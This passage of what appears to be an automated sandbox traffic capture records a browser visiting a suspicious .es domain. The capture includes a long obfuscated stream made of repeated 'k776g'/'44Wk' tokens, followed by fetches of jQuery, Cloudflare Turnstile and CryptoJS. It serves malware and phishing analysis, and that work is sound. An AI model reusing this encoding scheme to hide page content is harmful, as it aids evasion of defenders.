2025-03-19 16:55:47 UTC	895	IN	Data Raw: 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 Data Ascii: k776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g77
2025-03-19 16:55:47 UTC	1369	IN	Data Raw: 37 66 62 62 0d 0a 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 Data Ascii: 7fbb44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g4
2025-03-19 16:55:47 UTC	1369	IN	Data Raw: 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk77
2025-03-19 16:55:47 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49701	151.101.2.137	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:55:48 UTC	664	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abdxo.qdhfwaes.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 16:55:48 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 19 Mar 2025 16:55:48 GMT Age: 1072331 X-Served-By: cache-lga21931-LGA, cache-bur-kbur8200100-BUR X-Cache: HIT, HIT X-Cache-Hits: 15, 1 X-Timer: S1742403348.415039,VS0,VE1 Vary: Accept-Encoding
2025-03-19 16:55:48 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-19 16:55:48 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-19 16:55:48 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-19 16:55:48 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49702	104.18.94.41	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:55:48 UTC	705	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abdxo.qdhfwaes.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 16:55:48 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 19 Mar 2025 16:55:48 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 922e7fdfdca92aa9-LAX alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49703	104.17.24.14	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:55:48 UTC	692	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abdxo.qdhfwaes.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 16:55:48 UTC	968	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 16:55:48 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 424538 Expires: Mon, 09 Mar 2026 16:55:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7LZPigoFhvALOM1VTa7BK1%2FMbIxCPLKX%2FKudtsWlmV%2FxPZHTNSeJEWl%2Bk84ToP3t2%2FLG%2BJuDJCXY9d8AEN9ZSUTliM6b23KKlLPuwWinOaWH1GvUVxg9MeD%2Bb9izWV2GXbw2V%2BIk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 922e7fdfed887c77-LAX alt-svc: h3=":443"; ma=86400
2025-03-19 16:55:48 UTC	401	IN	Data Raw: 37 62 65 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7be9!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f Data Ascii: d"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=O
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 3d 6f 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 Data Ascii: =o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.ra
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 Data Ascii: ring"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(va
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 20 4e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e Data Ascii: N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 Data Ascii: >>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0
2025-03-19 16:55:48 UTC	1369	IN	Data Raw: 79 28 74 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 Data Ascii: y(t.buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={st
